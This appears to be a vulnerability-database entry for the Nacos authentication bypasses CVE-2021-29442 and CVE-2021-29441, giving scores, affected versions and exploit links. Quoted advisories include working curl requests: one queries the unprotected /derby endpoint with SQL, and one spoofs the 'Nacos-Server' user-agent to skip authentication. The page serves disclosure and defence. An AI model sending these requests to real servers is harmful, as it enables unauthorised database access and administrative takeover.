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CVE-2021-29442

Authentication bypass

8.6 HighPublic exploitFix available

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

64.2%Up 63.4 points since Apr 28, 2021
90%50%10%1%

What each source reports

CVE List Score used 8.6

Authentication bypass

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
CVE-2021-29442
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
EUVDEUVD-2021-0888 8.6

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
EUVD-2021-0888
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-xv5h-v7jh-p2qh No score

Authentication bypass for specific endpoint

The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.

For example, the following request will list the tables of the database:

❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}% 

These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
GHSA-xv5h-v7jh-p2qh
Weakness
CWE-306
Updated
2026-11-02
NVD 8.6

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
CVE-2021-29442
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:P/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
OSVCVE-2021-29441 9.8

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.

Record
CVE-2021-29441
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSV 7.5

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
CVE-2021-29442
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVGHSA-36hp-jr8h-556f No score

Authentication Bypass

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}                                                                                                       

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true 

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

Record
GHSA-36hp-jr8h-556f
Weakness
CWE-290
Updated
2026-11-02
OSVGHSA-xv5h-v7jh-p2qh No score

Authentication bypass for specific endpoint

The ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.

For example, the following request will list the tables of the database:

❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}% 

These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Record
GHSA-xv5h-v7jh-p2qh
Weakness
CWE-306
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
com.alibaba.nacos:nacos-common
Maven
before 1.4.1
1.4.1
com.alibaba.nacos:nacos-common
Maven
From an advisory covering 2 CVEs
before 1.4.1, plus listed versions
0.1.00.2.00.2.10.2.1-RC10.3.0
Show 34 moreShow less
0.3.0-RC10.4.00.5.00.6.00.6.10.6.20.8.00.8.10.8.20.9.00.9.11.0.01.0.0-RC11.0.0-RC21.0.0-RC31.0.0-RC41.0.11.1.01.1.11.1.21.1.31.1.41.2.01.2.0-beta.01.2.0-beta.11.2.11.3.01.3.11.3.1-BETA1.3.1-BETA.11.3.21.3.31.4.01.4.0-BETA
1.4.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubVictorShem/QVD-2024-264732024-07-31
PoC in GitHubnanaao/cve-2021-29442-Nacos-Derby-rce-exp2024-11-25
NucleiNacos <1.4.1 - Authentication Bypass

History

History
RecordedChangedSources
affected, exploits, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-29442 is a high vulnerability (CVSS 8.6) in Alibaba Nacos, published April 27, 2021. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 64.2%, the 99th percentile. Fixed in com.alibaba.nacos:nacos-common 1.4.1.

References

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